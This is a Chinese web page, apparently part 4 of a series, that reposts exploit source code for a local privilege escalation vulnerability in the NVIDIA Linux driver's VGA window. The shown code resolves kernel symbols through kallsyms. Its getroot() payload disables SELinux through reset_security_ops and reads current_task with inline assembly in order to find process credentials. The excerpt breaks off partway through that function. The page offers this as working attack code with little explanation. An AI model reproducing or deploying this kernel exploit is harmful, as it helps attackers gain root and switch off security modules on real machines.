NVIDIA Linux Driver VGA Window本地权限提升漏洞(4)

#define KSYM_NAME_LEN 128
inline static int kstrcmp(const char *x, const char *y)
{
    for (;*x == *y; x++, y++)
        if (!*x)
            return 0;
    return -1;
}

/*
* kallsyms.c: in-kernel printing of symbolic oopses and stack traces.
*
* Rewritten and vastly simplified by Rusty Russell for in-kernel
* module loader:
*   Copyright 2002 Rusty Russell <rusty () rustcorp com au> IBM Corporation
*
* ChangeLog:
*
* (25/Aug/2004) Paulo Marques <pmarques () grupopie com>
*      Changed the compression method from stem compression to "table lookup"
*      compression (see scripts/kallsyms.c for a more complete description)
*/

inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result)
{
    int len, skipped_first = 0;
    const unsigned char *tptr, *data;

/* Get the compressed symbol length from the first symbol byte. */
    data = &ks->names[off];
    len = *data;
    data++;

/*
     * Update the offset to return the offset for the next symbol on
     * the compressed stream.
     */
    off += len + 1;

/*
     * For every byte on the compressed symbol data, copy the table
     * entry for that byte.
     */
    while (len) {
        tptr = &ks->token_table[ks->token_index[*data]];
        data++;
        len--;

while (*tptr) {
            if (skipped_first) {
                *result = *tptr;
                result++;
            } else
                skipped_first = 1;
            tptr++;
        }
    }

*result = '\0';

/* Return to offset to the next symbol. */
    return off;
}

inline static unsigned long kdlsym(struct kallsyms *ks, char *name)
{
    char namebuf[KSYM_NAME_LEN];
    unsigned long i;
    unsigned int off;

for (i = 0, off = 0; i < ks->num_syms; i++) {
        off = kallsyms_expand_symbol(ks, off, namebuf);
        if (kstrcmp(namebuf, name) == 0)
            return ks->addresses[i];
    }
    return 0;
}

__used __kernel long getroot(long uid, long gid)
{
    int i;
    unsigned long cred;
    int *j = NULL;
    int k;
    char *p;
    struct kallsyms ks;
    unsigned long task_struct = 0;

long ret = init_kallsyms(&ks);

if (ret > 0) {
        void (*fn)(void);
        __kernel void *(*fn1)(void*);
        unsigned long task_offset;
        char fnops[] = "reset_security_ops";
        char fntask[] = "current_task";
        char fncred[] = "get_task_cred";

// SELINUX is overrated..
        fn = (void*)kdlsym(&ks, fnops);
        if (fn) fn();

// Get a more reliable offset to current_task if we can
        task_offset = kdlsym(&ks, fntask);
        if (task_offset)
#ifdef __x86_64__
            asm("mov %%gs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#else
            asm("mov %%fs:(%1), %0" : "=r"(task_struct) : "r"(task_offset));
#endif
        else
            task_struct = gettask();
        if (!task_struct)
            return -4;

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypjzp.html